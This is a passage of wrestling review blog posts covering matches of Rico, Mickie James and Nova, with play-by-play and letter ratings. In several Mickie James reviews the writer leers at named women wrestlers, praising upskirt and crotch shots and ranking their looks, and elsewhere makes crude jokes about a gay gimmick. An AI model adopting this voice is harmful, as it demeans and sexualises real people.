What’s Up hits Jamal and we get to the tagging section of the match before everything breaks down again. Bubba tells Jeff to get the tables but Rosey runs over Bubba after Bubba sets up a table in the corner. A BIG backdrop puts Jeff on the floor and Rosey rams Spike’s head into a table. Rosey misses a charge and drives himself through a table in the corner but that doesn’t count because it wasn’t someone else putting him through.

Jeff tries a top rope dive at Rosey but literally bounces off. Rico brings in another table and gets caught in a Dudley Dog, but 3 Minute Warning catches him in a double powerbomb to put Spike through the table instead. Jeff and Bubba get slammed down but Bubba knocks Rosey off the top and Jeff sends Rico flying into a cameraman. Bubba pounds away but Rico hits a spinwheel kick to take his head off. Rico could go in the ring make no mistake.

Rosey and Jeff go out into the crowd and there’s a table out there with them. Jeff is put on said table as Bubba gets kicked in the face by Rico. Jamal misses a splash and crushes Rico, allowing Bubba to Bubba Bomb Jamal and go to save Jeff. With Bubba’s help, Jeff goes up to the top of an entrance and hits a BIG Swanton through Rosey through the table to make it 2-2.

Back in the ring Jamal has Bubba on a table ready for a Rico moonsault, but he looks hesitant to launch. He looks over his shoulder, shouts “C’MON JEFF!” before staggering. THEN Jeff shakes the ropes and Rico crotches himself. Not the best response but that’s on Jeff more than Rico. Bubba tries a belly to back superplex through the table but Jamal moves it away. Jeff hits Whisper in the Wind to Jamal and follows it with a dropkick.

Hardy goes to the floor to get another table which he throws at Jamal. Jeff tries to run the railing but Jamal throws the table at Jeff, who goes flying through it. That doesn’t count which I can kind of agree with. Jamal puts Jeff on another table and hits a HUGE splash off the top to eliminate Jeff. That looks awesome. Bubba beats on Rico in the ring but Jamal saves his sideburned buddy. Jamal goes up to try a top rope rana (I guess) on Bubba, only to get caught in a HUGE powerbomb through the table to get us down to one on one.

It’s Rico vs. Bubba with the former pounding away and pulling in another table. Rosey comes back in but Bubba pounds away on him too. Now Jamal is in there too and it’s D-VON to the rescue! He’s on Smackdown at this point so this is a big deal. 3D puts Rico through the table to end this.

Rating: B-. That’s likely high but this was what you want to open a show. It helps a lot that this was a fifteen minute match instead of like six minutes like they are on Raw. This was fun and the pop for the reunion of the Dudleys (which would be permanent) was a feel good moment. Good stuff here and a good choice to open things up, especially in New York City.

Time for another handicap match! From Raw on January 6, 2003.

3 Minute Warning/Rico/Batista vs. Dudley Boys

Flair is with Batista too so it’s basically 5-2. Jamal gets backdropped to the floor as Batista hangs out on the floor. I wonder if D-Von and Batista’s past will be mentioned. There’s a fast 3D to Rico but the stupid Dudleys don’t cover him, allowing Batista to come in and clean house. Bubba gets sent to the floor and Chief Morely gets in some shots of his own. Everyone not named Batista beats on Bubba on the floor and there’s a spinebuster to D-Von.

Bischoff and Morely come into the ring and demand that the referee counts D-Von, but Batista pulls him up at two. Bubba gets back in but walks into a suplex from Rosey. Now Flair gets in and puts Bubba in the Figure Four as Jamal hits a top rope splash for good measure. D-Von takes a Samoan Drop and the Batista Bomb finally ends this.

Rating: D+. This was an angle which is fine, but it doesn’t really exactly make for an interesting segment. Batista was just midcard muscle with Flair as a manager at this point, but Evolution was coming soon. The Bischoff regime got old in a hurry and here he came off as just another corrupt boss. Not much here but it was a good beating.

One more singles match from Heat on February 9, 2003.

Bryan Danielson vs. Rico

Danielson quickly takes him down and puts on a kind of dragon sleeper. Rico blocks an O’Connor Roll but gets caught by a dropkick. Some kicks drop Bryan for two and Rico puts on a weak Gory Stretch. Bryan flips out for two but gets kicked in the face for the same. After an arm hold goes nowhere, Danielson enziguris him down but can’t follow up. Some European uppercuts put Rico down and a snap suplex gets two for Danielson. Back up and Bryan hits the ropes but charges into the spinning kick to the face for the pin.

Rating: C-. I love seeing guys like Bryan when he means nothing. He got to showcase some talents here though and it was clear that he was going to be a big deal somewhere down the road. Much to my surprise this wasn’t a glorified squash with Danielson actually controlling about half of the match.

Back to the handicaps on Raw, February 17, 2003.

Spike Dudley vs. 3 Minute Warning/Rico

There’s nothing to say here. The three dominate Spike for about three and a half minutes and Rico pins Spike after a top rope splash from Jamal. There was nothing to talk about in between.

Rico did have some singles matches, including this one at Insurrextion 2003.

Goldust vs. Rico

And on Pay Per View too! Hebner is in there, you know the chant. Rico keeps hiding from Goldust as we have to stall in this match of all things. Rico really was underrated in the ring as his gimmick always gets looked down on which isn’t fair to him. He definitely wasn’t that bad in the ring and was clearly always working hard out there which is all I can ask for.

Naturally this is a rather boring match but it’s not entirely fair to blame that on the wrestlers here. These two had no business being out there as long as they’re being given so they can only do so much in there. We talk about Sean Connery and James Bond to fill in time. Picture perfect moonsault by Rico misses. That was freaking pretty looking. Bulldog gets two for Goldust.

Shattered Dreams is blocked and Goldust goes insane, hitting all kinds of stuff on Rico. Ok so mainly nothing more than punches which apparently are the results of his mental issue. I never liked that angle. Not due to what it was about but because it never really made sense. And there’s a powerslam out of nowhere (Ross’ description) to end it. Oh Goldust won.

Rating: D+. That’s higher than this deserves, but the problem here is that there was FAR too much time given to this match. This got eleven minutes and to their credit it never really got boring. Like I said, Rico was a guy that would always work in the ring which is something you have to give him points for. They were trying out there but this just had no business going this long.

From Raw, September 8, 2003.

Lance Storm vs. Rico

If nothing else we get to look at Jackie Gayda in a barely there outfit. The idea here is that Storm is boring and trying to find a personality. Rico starts the boring chant before the match so Lance punches him down. Goldust in turn starts a Rico Sucks chant and we’re ready to go. A quick suplex gets two for Lance but Rico comes back with a kick to the face and a clothesline before ripping at Storm’s face. Off to a chinlock for a bit until Storm fights up and starts firing off clotheslines. Jackie tries to get involved and gets kissed by Storm who quickly finishes Rico with a springboard missile dropkick. Short and not terrible here.

Rico would hook up with Charlie Haas to form another oddball tag team. Since this is the Ruthless Aggression Era, they would win the Smackdown Tag Team Titles soon after forming. Here’s a title defense from Judgment Day 2004.

Smackdown Tag Titles: Charlie Haas/Rico vs. Billy Gunn/Hardcore Holly

Charlie/Rico are the champions here and it’s another oddball team. Rico is fully embracing his gay side here and the only good thing is Jackie Gayda looking incredible. However, Billy Gunn and Hardcore Holly? Bart Gunn wasn’t available to reform the New Midnight Express? The challengers argue over who starts first so Rico slaps/grabs their rumps. Wouldn’t Billy be used to that?

Ok officially we start with Haas vs. Holly. After a brief feeling out process Holly grabs a headlock and it’s technician vs. power brawler to start us off. Off to Rico who slaps Haas’ chest to come in. Rico touches the redneck Holly and it’s off to the former groom as Rico does a cancan. Rico kisses his hand and puts it on Billy’s face to really mess with Gunn. We have butt slapping and some rodeo before Rico kicks Billy who falls onto his knees in front of Rico. Yep we’re in a comedy match.

Gunn finally gets ticked off and drills Rico, and by that I mean he punches him you sick freaks. Holly vs. Haas now with Holly getting a suplex for two. We hit the chinlock before Gunn comes in and hammers away. Rico: “Don’t you hurt my Charlie!” Holly’s kick between the legs (to the stomach) gets two. I missed a Rico likes hardcore joke in there somewhere.

Holly goes to the middle rope and does the jump into the boot of a guy in a move where the only reason I went to the top was to jump into the boot because a double clothesline is beyond my intelligence spot. Haas gets the tag (moderate temperature) and Rico cleans house (no French Maid outfit?) but gets caught in a Fameasser. There was a blind tag to Haas though so no cover. Alabama Slam is caught by a superkick from Rico lets Haas get a sunset flip on Holly to retain.

Rating: C-. Just a tag match based in comedy here. Nothing worth seeing at all as Jackie looking good was a regular occurrence. Not a bad match or anything mind you, but when the biggest star is Billy Gunn and he’s a glorified jobber who would be gone in six months, the same week as Rico actually. Nothing terrible, but just there for the most part.

We’ll wrap it up with one more six person tag from No Mercy 2004.

Dudley Boys/Dawn Marie vs. Rico/Charlie Hass/Miss Jackie

I miss Dawn. She was gorgeous. Jackie is no slouch either. Bubba and Haas start us off but D-Von jumps him to give them the early advantage. D-Von beats on Charlie but Dawn tags herself in to hit on Charlie. Jackie comes in and there goes Dawn’s top. Bubba pulls Jackie’s hair to give Dawn the advantage then comes in to kiss her. Bubba makes the mistake of closing his eyes though and gets a kiss from Rico instead.

Out to the floor and Bubba is about to be sick. It’s such a shame that Rico got this gimmick as he was AWESOME in OVW, regularly outworking guys like Orton and Cena. Bubba walks out and Rico gets a bunch of (fruit) rollups on D-Von. Bubba comes back to crotch Rico and then officially comes in to give Rico a heterosexual beating. Rico grabs a DDT out of nowhere and double tags bring in the other guys.

Haas cleans house and causes some heel miscommunication. A German takes down Bubba but Dawn distracts him, allowing D-Von to get in some offense. Rico makes a blind tag and hits a cross body for two as everything breaks down. The Dudleys load up What’s Up but Rico is WAY too excited for it, rubbing his crotch and begging D-Von to jump. D-Von won’t do it so we get a catfight instead. Charlie takes down D-Von and Rico finishes him with a moonsault.

Rating: C+. It was a comedy tag match, but every time I watch Rico I love him more and more. This guy was doing everything he could to get this dead end gimmick over and it worked. Rico cracked me up which was the whole point of the character. It’s a shame he wasn’t allowed to just be himself and awesome. Fun match.

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Wrestler of the Day – August 5: Mickie James

Today we’ll look at someone a bit better looking than Raven: Mickie James.

Mickie got started under the name Alexis Laree in 1999. She was mainly a manager but also wrestled at times. We’ll pick things up with an indy company called Southern Championship Wrestling on June 28, 2001.

Alexis Laree vs. Persephone

I’ve never heard of Persephone. Alexis has a title here and is rocking (?) some spiked shoulder pads ala the Legion of Doom. She stalls to start for awhile and Persephone is clearly the favorite. Laree jumps her and they slug it out with the champion getting the better of it. Persephone gets two off a rollup and two more off a fisherman’s suplex. A low blow has no effect on Persephone so Alexis kicks her in the back a few times.

Laree goes outside for no apparent reason and gets caught with a baseball slide to the back. They chop it out on the floor with Persephone getting the better of it, only to have Alexis take over back inside. Some other chick comes out and pulls Alexis to the floor for a beating and I’m assuming that’s a DQ.

Rating: D+. They weren’t all that good yet but it was clear that they were needing ring time more than anything else. The match wasn’t terrible but it was smart to cut it as short as they did. Persephone was pretty much a Lita knockoff with blonde hair, but to be fair Lita was the most popular Diva in like forever at this point.

Laree would head to TNA where she would appear on Weekly PPV #38 on April 2, 2003.

Trinity vs. Alexis Laree

Trinity takes her into the corner to start but Alexis grabs a wristlock. That gets her taken down into an armbar and a headscissors sends Alexis outside. Back in and Laree takes over with kicks to the back followed by a basement dropkick for two. Trinity gets thrown outside and the camera makes sure to get in position behind her. Back in and Trinity kicks her in the face but takes WAY too long going up. Trinity is able to shove her down but misses the moonsault. This brings out Raven to sit in the corner, but Trinity kicks Alexis in the face and hits a standing shooting star for the pin.

Rating: D+. Trinity is an old favorite of mine as she was always in great shape and had the awesome looking long black hair. Oh and she could hit a great moonsault. Anyway, this was back when the division was just past Bruce being the women’s champion so these two were a breath of fresh air. Alexis got WAY better since 2001.

Off to OVW, where Alexis was actually in a TV Title tournament. She beat Mike Mondo in the first round, setting up this second round match. From OVW TV on May 28, 2005.

TV Title Tournament Second Round: Bobby Lashley vs. Alexis Laree

Lashley gives her the chance to walk out before the match but one of his managers named Miss Blue offers to take his place. They get in a catfight in the ring until Lashley pulls Alexis off. The bell rings and it’s a powerslam to give Lashley the pin. Yes this was just a novelty to fill in a spot.

Alexis would start going by her real name of Mickie James and debut in WWE in late 2005. She started as a lesbian stalker of Trish Stratus, setting up an eventual showdown at Wrestlemania XXII.

Women’s Title: Trish Stratus vs. Mickie James

Mickie is challenging and has those awesome skirts that go all over the place. Trish is looking great too with the usual attire but showing her stomach as well. Trish is all aggressive here and chops Mickie down into the splits. They head to the floor but the Chick Kick hits the post. Mickie wraps the leg around the post and is still looking very psycho. Back in and a dropkick to the knee takes Trish down again, as does a dragon screw leg whip for two.

The fans chant for Mickie and I can’t say I blame them. Mickie wraps the leg around the ropes before driving it down into the mat for good measure. Off to a half crab followed by a knee crank but Trish power up and hooks a spinning headscissors to put James down. Trish comes back with the forearms and a spinebuster of all things for two. Trish’s corner splash hits feet but as Mickie goes up, Stratus tries the Stratusphere but gets slammed down for a sexy two. A rana is countered into a powerbomb for two and Trish is TICKED.

Trish tries the Matrish but the knee gives out. Instead she tries Stratusfaction but Mickie gropes Trish’s crotch to break it up. It’s exactly what it sounds like. Mickie licks her fingers so Trish DRILLS HER with a forearm. Trish keeps firing away but the knee gives out, and then the match falls off the rails. Mickie tries the Stratusfaction but COMPLETELY misses the rope, making it almost look like a botched atomic drop by Trish. Instead Mickie hits a lame Chick Kick to end Trish’s reign. JR sums it up perfectly: “The nutjob won the title!”

Rating: B-. This was one of the best Divas matches ever but the ending cripples it. The idea here was that it wasn’t a women’s match but rather a match featuring women in it. These two were beating each other up and Trish had real emotion out there. Mickie was PERFECT for this character and you really felt like she had a screw loose. The sexuality was there but it wasn’t the focus which is nice for a change. It’s nice to see a real story and a real fight between two people who happen to be gorgeous women. Good stuff here.

We’ll jump ahead to Mickie challenging for the title again at Survivor Series 2006.

Women’s Title: Lita vs. Mickie James

Lita is defending and this is her retirement match. I miss Mickie with those skirts that keep flying up. Lita slaps Mickie in the face to start, causing Mickie to choke away in the corner. The champ comes back by literally throwing Mickie around which is a bit less than what you would expect from someone as talented as Lita. Mickie goes up and gets slammed off the top as this is one sided so far.

A quick snap suplex gets two for Lita as this continues to be slow. I can’t at all complain about the upskirt shots of Mickie though. Off to a sleeper by Lita which is the last thing this match needed. Mickie gets in the ropes and avoids a charge in the corner. She goes up and is immediately suplexed down for two. Now the fans think Lita has herpes.

Mickie hits a SWEET spinning kick to take Lita’s head off followed by a fisherman’s suplex for two (and a GREAT crotch shot of Mickie). Moonsault gets two for Lita but the Edgecution is countered, giving Mickie two. They trade rollups and Mickie hits the jumping DDT to retire Lita and win the title.

Rating: D. Most of that is for getting great views of Mickie and Lita’s rocking cleavage. Other than that, this was some pretty uninspired stuff. Lita left when she should have as she had nothing left to accomplish and no one like Trish to work with. Pretty terrible match here but it passed the torch to Mickie who was indeed the future of the division.

Since this is the Divas division, we have to jump around a lot and go from title match to title match. Here’s another match from Backlash 2007.

Women’s Title: Melina vs. Mickie James

Melina is defending. Mickie is getting her return match here and is looking very bouncy tonight. They head to the mat to start with Mickie hitting a monkey flip for one. Off to a headlock by the challenger which is reversed into one by Melina. Mickie escapes that with ease so Melina pounds away as she can’t win a wrestling match here. Mickie mounts her (lucky) and pounds away as well.

James goes up top but gets sent out to the floor to give Melina control. She chokes Mickie in the ropes and then hooks a full nelson with her legs. Now it’s a choke in the corner but Mickie escapes. And never mind as Melina comes off with a seated senton to take over again immediately. That gets two so Mickie tries her spin kick. That fails also as Melina counters, sending Mickie down into the splits. James hooks Melina’s legs and they slug it out with both girls in a splits position.

Mickie makes her comeback with forearms and hair tosses. She’s very fired up here and it looks like a good comeback instead of the usual lame Divas offense. Mickie’s rana out of the corner is countered as Melina sends her to the apron. She pops back up and hits a top rope cross body for two. Back to the corner and Melina hits a kick to the head followed by a reverse DDT to retain.

Rating: C+. This was one of the best Divas match I’ve seen in YEARS. Mickie was awesome as was Melina, but most importantly of all: this was treated like a match between two women, rather than a Divas match if that makes sense. The match wasn’t treated like anything different, which is the best thing they could do with the Divas anymore. Also it got time, which helped a lot.

We’ll jump ahead a good bit to Judgment Day 2008 for a match with probably Mickie’s biggest rival.

Raw Women’s Title: Beth Phoenix vs. Melina vs. Mickie James

Mickie is champion. So we’re like an hour and 10 minutes into this show and the Smackdown guys haven’t called a single thing. Gotta love the treatment of the B show. Beth and Melina argued about the title shot and we see why Beth doesn’t talk like ever. Mickie is still all bubbly and hot at this point. Not that she’s not hot now but you get this idea. THIS somehow gets big match intros. Wow indeed.

Beth tells Melina to get out of her ring so Melina drills her with a kick. Mickie grabs a victory roll for two on Melina and it’s one on one for awhile. Beth pulls her out and it’s challenger vs. challenger. Yeah I don’t care either but you have three hot chicks out there so how much can I complain?

Mickie back in now and we get some nifty triple person spots. James throws on something like a Tazmission on Beth which goes nowhere. Regal Cutter to Melina allows Mickie to go up, only to get….uh…..pussied by Melina. They speed things up a bit and Mickie gets a top rope Thesz Press to Beth followed by a HARD seated dropkick. In your HOLY CRAP spot of the night, Beth puts them both in an over the shoulder body vice for about 12 seconds. Mickie gets the jumping DDT to Melina quickly after that to retain but dude, WHO CARES? I’m still getting over that body vice move which was insanely awesome.

Rating: C+. Better Divas match than usual actually as all three chicks were working hard out there and the result was rather good stuff. When Melina is the ugliest chick out there you can’t really go wrong. With an awesome spot like that and a pretty good match other than that, this was one of the better Diva matches I’ve seen in awhile.

Off to Raw on September 8, 2008 for a required six Divas tag.

Jillian Hall/Katie Lea Burchill/Beth Phoenix vs. Mickie James/Candice Michelle, Kelly Kelly

The Divas were much hotter in 2008. Beth is Women’s Champion and says she’s a great champion, which is a message to Orton. She says no one can challenge her which draws out Candice to be the mystery partner or something. Kelly vs. Katie to start with Kelly proving why she should stick to looking good, which she is in a bikini and chaps.

Off to Mickie and Jillian with Mickie getting caught in the heel corner. Beth comes in for a slingshot suplex for two. A neckbreaker lets Mickie tag in Candice, who just wasn’t that good. She cleans house and goes up in the heel corner for a cross body. Beth rolls through but Candice rolls into an ugly small package for the pin.

Rating: D+. Candice brought this WAY down. She was botching everything she tried and really messed up the match. They tried really hard to make her into the big deal of the division and it never quite worked. On another note, the Divas looked WAY better back then and could work better matches too. Such a shame.

Mickie would go after the newly created Divas Title at Night of Champions 2009.

Raw Women’s Title: Mickie James vs. Maryse

Make it quick please. Yeah as looks go, Mickie is way ahead of Maryse. The fans want puppies. And people wonder why this division is never taken seriously. The match is your standard slapfest of course. Maryse tries to use her perfume or whatever but gets stopped.

We’re in our second rest hold six minutes into the match. This just isn’t interesting at all. Cole almost says the name of the wrong title. There is simply no need to have two belts. If you had just one it could potentially work. Mickie hits her jumping DDT to get the title to next to no reaction.

Rating: D. People don’t care about women’s wrestling and that’s really all there is to it. It’s not nice but it’s true. This just wasn’t interesting at all. The buildup was Mickie has beaten the jobbers this month so she gets the title shot because she’s on a roll. That’s it. I’m looking forward to Michelle vs. Mickie as there’s an actual story to it. This didn’t and it was painfully obvious.

Mickie would get into a controversial feud with Laycool over Mickie’s weight, which is practically not there. Here’s their showdown at Royal Rumble 2010.

Women’s Title: Michelle McCool vs. Mickie James

Pre match Michelle runs her mouth about how fat Mickie is and accuses her of skipping out on the match. Michelle offers cake and here’s Layla in a Mickie Pig costume. The real Mickie sprints to the ring and hits a Thesz Press on Layla on the floor. She heads inside, sends Michelle into Layla and hits the MickieDT for the pin and the title in 20 seconds.

It was off to TNA after this with Mickie with one of her first major matches at Against All Odds 2011.

Knockouts Title: Madison Rayne vs. Mickie James

Madison’s song is irritating as all goodness. Mickie is dressed like Pocahontas for some reason. She’s sent into the steps and the count is on. Remember that you have to answer a ten count or you lose. They fight up the ramp a bit with Madison in control. Mickie gets in a shot to send Madison into the post for about five. Taz tries to take a shot at the Divas and it doesn’t work that well.

Mickie gets a kick in and clotheslines Madison using the rope to send her to the floor for seven. Cross body off the apron by Mickie puts both girls down. She tries to get the loaded glove off but can’t quite get there. And now we have a shot of the empty ring as the girls are under the ring. Madison comes out as you can hear the crowd talking. Ah there’s Mickie.

She morphs into karate action Mickie to put Madison down with a series of kicks. And then with Madison down Mickie picks her up like a moron. Back in the ring Mickie goes up and gets shoved off to the floor. That gets a long nine which probably should have been ten. Madison loads up the glove but Mickie gets a shot to the arm.

Thesz Press off the top puts Madison down for two. Spinning kick puts the champion down again and Mickie steals the glove. At about 8 Tara (called Victoria by Tazz) comes out to break it up. Madison pulls brass knucks out of her boot and drills Mickie to keep the freaking title. Oh dang it just give Mickie her title already!

Rating: C+. Decent match here but the ending was just stupid. There is ZERO justification to keep the title on Madison here and yet they’re just going to keep on doing it. Well sure why not. It’s not like no one cares about her or she’s nothing special in the ring or her gimmick is boring. Good match, bad decision at the end.

Mickie would put her hair on the line for a chance at the Knockouts Title at Lockdown 2011.

Knockouts Title: Mickie James vs. Madison Rayne

Mickie’s shoulder is taped and Madison can’t get her tiara off. At least the girls both look great. Mickie jumps Madison as the bell rings and sends her into the cage three times within the first twenty seconds. Jumping DDT and we’re done in 30 seconds.

We’ll jump to TV for a bit with Impact, September 1, 2011.

Knockouts Title: Winter vs. Mickie James

Mickie goes nuts on her to start and grabs a rollup for two. Angelina tries to throw the belt in and gets ejected. Mickie grabs a half crab and Tazz says it’s very hard to get out of. Less than 3 seconds later Winter grabs the rope and is out of it. Great analysis there Brooklyn dude. Mickie has dominated most of this. The jumping DDT is avoided and both grab the other by the hair and slam them into the mat.

Winter tries that spinning slam but Mickie gets some elbows in and a rollup gets two for each chick. A slow jumping DDT hits for Mickie but Winter gets her foot under the ropes. I’m really glad that wasn’t the ending as it would have looked bad. Enziguri puts Mickie down for two. Winter tries to choke Mickie with something but Hebner makes the save. Mickie kicks Winter upside her head and gets the title back at 6:00.

Rating: D+. This got sloppy in some places like Mickie intentionally having to cover Winter weird so she could get the foot on the ropes. I cannot stand stuff like that because it looks so fake and totally takes the drama out of a near fall. I also don’t get the point in putting the title right back on Mickie after Winter had it for just a few weeks but since this is TNA, I’m sure the answer is “GIVE IT MORE TIME.”

Another one from January 19, 2012.

Mickie James vs. Madison Rayne

Mickie starts fast and rams her into the buckle to start. Powerbomb out of the corner hits and we’re officially longer than the Lockdown match from last year. Seated dropkick gets a delayed two. Mickie hooks something like a choke and Madison is in trouble. Madison escapes and hits a HARD kick to take over. That sounded great. Mickie reverses a whip and we take a break.

Back with Mickie in control again. This has been pretty one sided so far. Mickie takes her down and nips up but Madison sends her into the cage to take over. Madison humps the mat with Mickie’s head between her legs. Somehow that’s a lot less hot than you would expect. Off to the chinlock. Madison has a little American flag patch on her shorts. Not sure why but it looks good there.

Mickie fights up and a neckbreaker from James puts both of them down. They slug it out, won by Mickie. A flying forearm and clothesline put Madison down. Another flapjack attempt is countered and a boot gets two for Rayne. And then Mickie rams her into the cage a few times and the jumping DDT gets the pin at 12:23.

Rating: C. Not bad here but nothing classic. It’s so much better in this division than the Divas, and a lot of that is due to the time. The Divas matches get annoying because they’re just there and gone so fast that they don’t mean anything. The Knockouts don’t have masterpieces but they have matches, which is a big step in the right direction.

Mickie would go after the title again because there aren’t many stories with the Knockouts. From Final Resolution 2012.

Knockouts Title: Mickie James vs. Tara

They fight over wrist/arm control to start as the announcers talk about Tara being in her city’s athletics hall of fame. This turns into a discussion of USC football as Tara wants to kiss Jesse a bit. Mickie gets a rollup and northern lights for a pair of two counts and there’s the rana to put Tara down again. Tara gets sent into Jesse but the distraction lets Tara get in a kick to the face to take over.

Back in and Tara hooks Mickie in an over the shoulder hair pull. Why she doesn’t just hit the Widow’s Peak from there is anyone’s guess. Mickie gets a rollup for two but Jesse has the referee’s attention. The spinning sidewalk slam gets two for Tara and it’s off to a body vice for the champ. Mickie makes her comeback with a lot of kicks (a running theme tonight) and gets two off an enziguri. Tara is thrown onto Jesse again, so Mickie hits a Thesz Press off the top to the floor to take Tara out again. Jesse gets kicked in the face, but the distraction lets Tara hit the Widow’s Peak to retain at 7:51.

Rating: C-. Not bad here but again, we need new blood in the division. Not blood that hasn’t been around for awhile, but new blood in general. Jesse was the focus of this match which isn’t a good thing, but Mickie vs. Tara is such a played pairing that you can only care about it so much after this many matches.

We’ll wrap it up with Mickie’s last title win on Impact, May 23, 2013.

Knockouts Title: Mickie James vs. Velvet Sky

Velvet is defending and has a bad knee coming in. Mickie takes it down to the mat to start and cranks on the arm, only to have Velvet hit a fast dropkick for two. They slug it out until Mickie hits something like a swinging Bubba Bomb before hooking a full nelson as we take a break. Back with Velvet down and being put in a chinlock, only to fight up with an armdrag. Velvet fires off some clotheslines but her knee is giving out again. A headscissors gets the champion nowhere and I think they screw up a sequence setting up a Russian legsweep.

The second attempt works a bit better but Velvet is sent into the corner for a kick to the ribs. Now the headscissors works for Sky but her knee gives out after Mickie is down. A hard chop block takes Velvet down and Mickie has that evil look on her face for the first time in way too long. The MickieDT is enough for the pin and the title at 8:47.

Rating: D+. Mickie and Velvet both looked GREAT out there in their outfits, but the match was so sloppy that it was dragging things down. Velvet continues to look just a step above lost in the ring and Mickie can only do so much with her. Mickie seemingly turning heel here is a good thing though as she can play the psycho villain very well. The match wasn’t much though.

Mickie James was the successor to Trish and Lita and she held that up very well. The problem is she didn’t have the best crop of talent to work with her and it caused some issues. That being said, she can have a great match with the right opponent. The fact that she’s absolutely gorgeous didn’t hurt either.

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Wrestler of the Day – June 4: Nova

Today is a true innovator of offense: Nova.

Nova debuted under his real name of Mike Bucci in 1992 and had some early jobber spots in the WWF, such as this one from Superstars on November 27, 1993.

Adam Bomb vs. Mike Bucci

There’s a guest ring announcer of about 8 years old who introduces Bucci as weighing 249 libs and says Bomb is managed by Marby Bippleman. Bomb throws him around with ease but avoids an elbow and goes to work on the arm. Adam drops him ribs first across the top rope and the Adam Smasher (powerbomb) ends this quick.

After some time in the indies, Bucci went to ECW as Supernova and would appear on the Hostile City Showdown 1996 card.

Supernova vs. El Puero Ricano

Supernova is a superhero here and quickly hiptosses Ricano over the top rope to the floor. A top rope flip dive puts Ricano down again and a powerbomb out of the corner gets two back inside. Ricano sends him outside for an Asai Moonsault against the barricade but the Eliminators run in for the no contest. Short but very energetic stuff while it lasted.

Things would get a bit more serious in 1998 as Nova had become part of the Blue World Order (Hollywood Nova, Stevie Richards and Blue Meanie), a parody of the NWO. Joey Styles summed the group up perfectly: “If any gimmick never deserved to make a dime and made a whole boatload of cash, this is it.” They would be on the card at Wrestlepalooza 1998.

F.B.I. vs. BWO

Suddenly I want some alphabet soup. It’s Tracy Smothers and Guido vs. Super Nova and Blue Meanie. The BWO itself is actually over and dead but they both wear blue and team together still so there we are. I want to hit Tommy Rich. The guy is just freaking annoying. He gets a huge F YOU chant directed at him so at least Georgia fans are intelligent. Nova and Guido, the two talented guys, start us out.

Nova is a superhero by the way. Meanie is just a fat guy that has nothing else going for him. Nova is well known for having a very unorthodox offense and it’s on display here. Meanie comes in and Rich says we need to have a dance contest. And the referee dances too. THANKFULLY Smothers jumps Meanie to end this mindlessness. And the referee slams both heels to get two on Smothers. What the heck am I watching???

Finally we get something sensible as Smothers hits a nice bicycle kick to Nova’s head. Meanie can’t even get into the ring correctly. This is what critics mean when they say this company was a joke. When you’re that sloppy, you have no business being in a ring on a major show at all. Meanie misses the moonsault, which is just about the only move Meanie could do without injuring someone else. Nova hits a downward spiral for the pin. And the faces do the YMCA afterwards. My head hurts again.

Rating: D+. It wasn’t bad, but for the most part it was an unfunny comedy match. Nova was cool, but other than that there was just noting at all that stood out here for me. Meanie was just a fat man that never did anything of note outside of ECW (Bluedust was nothing of note and yes I know he was in WWF for awhile) and the FBI were always annoying as all goodness to me. It’s not bad but it’s nothing to write home about, or better yet it’s nothing to review. Wait what?

Another six man tag, this time from November to Remember 1998.

Blue World Order vs. Danny Doring/Roadkill

The BWO here are Nova and Meanie, as Richards realized he had that thing that people like called mainstream appeal so he’s in WWF at this point. Roadkill is an Amish guy, called the Angry Amish Chicken Plucker. This could be a really long night. They’re a new team here but they would eventually become kind of a big deal by ECW standards. Doring is about as bland as you could dream of a guy with his name being.

Nova has some unique offense from what I remember so this should be ok. And here’s Funk again with his own cameraman. There’s also a camera following Funk and his cameraman. Styles asks a great question: why are we focusing on Terry Funk when there’s wrestling going on. Funk takes over as timekeeper. Again, I get that he’s a far bigger star, but if you’re going to have these four guys out there, don’t take the focus off of them for Funk.

Yes he’s by far the bigger star and more important than all four combined, but show the guys some respect if you could. We get a lot of heel miscommunication to keep the faces in control as this is becoming a glorified squash. Ok the People’s Legdrop is kind of a cute idea but I’m still not huge on theatrical moves. Not a big deal at all though. And here’s Funk again to interfere and then put himself through a table.

Doring is setting for something but stops to do a strut called the Dastardly Shuffle. I like the name if nothing else. Ok seriously, have the match, or follow Funk. This is annoying. Joey makes me chuckle asking if Roadkill took a horse and buggy to New Orleans from Pennsylvania. That’s rather amusing. He does a Taker rope walk but misses the elbow drop he was trying.

Doring has a lot of long and drawn out names for his moves which is clever for some stupid reason that I don’t get but whatever. He and Nova are working the majority of the match which is intelligent. And now we have one of my biggest annoyances of ECW: claiming Monday Night shows steal all their moves. This is brought up by Nova doing a move called the Sledge-o-Matic. It’s a diving powerbomb where he goes to the side on the landing.

In other words, it’s the same move but with a slight twist that makes zero difference. It’s wrestling guys. People use the same moves quite often. You don’t see a right hand being called a Strangler Lewis Special do you? Now yes, ECW got ripped off more than any other company I can think of, but at times they got ridiculous complaining about it.

I mean really, can you imagine someone complaining about every tiny little thing that goes on at a wrestling show which no one else would have the sheer stupidity to notice since no one else would be such a bored and pathetic human being to think this in depth about such a thing? Can you imagine how pitiful that person really is? DANG they would drive me crazy. What’s the point of picking something apart and blowing the tiniest thing completely out or proportion?

Anyway, this match needs to end as the right lace of Nova’s left boot has a single thread sticking out and it’s driving me crazy. Nova hits a modified tornado DDT that is completely different than the one that Chavo Guerrero had been using around this time, because it was MODIFIED. The BWO wins it with a double team move where Meanie did a wheelbarrow lift into a DDT from Nova called the Blue Light Special.

And here’s Funk again to steal the spotlight, which yes I know that’s fine and the point. I have no problem with it here, but did we need to have him do the stuff during the match? Not that I can see of. Heyman comes out to calm him down. So in other words the ten minute match was all just to set up the Funk angle. Got it. Not that bad of an idea I guess as at least there was a full length match, unlike in WWE where it would have been lucky to go 100 seconds before Funk ran in, so points for that definitely.

Rating: D. It was a long squash and Funk stole the focus at a very annoying rate. I don’t get that but we’re just twenty three minutes into the show so maybe we’ll find out later. This wasn’t a very good match but it got the crowd going, which isn’t really something ECW needs as I always thought they had Red Bull IVs going into them but I get the idea.

After the group split up, Nova would hook up with Chris Chetti as a pretty solid tag team. Nova would be on Cyberslam 1999 in a singles match.

Rod Price vs. Nova

Nova is more famous as Simon Dean. Price is a big muscle guy that looks about 55 years old. Price gets taken down quickly but takes over with basic power. Snap suplex puts Nova down and Price hammers away for awhile. Nova goes to the middle rope and hits a clothesline but can’t get much going overall.

Skull Von Crush (Big Vito), who is Price’s partner, comes out to hammer on Nova a bit as well. Nova’s partner Chris Chetti comes out for the save and it’s a double brawl. Nova hits a baseball slide to Price and then the good guys fire off a pair of dives. The Tidal Wave (splash/top rope legdrop off the same corner) pins Price. Big mess but I like the Tidal Wave so this was fine.

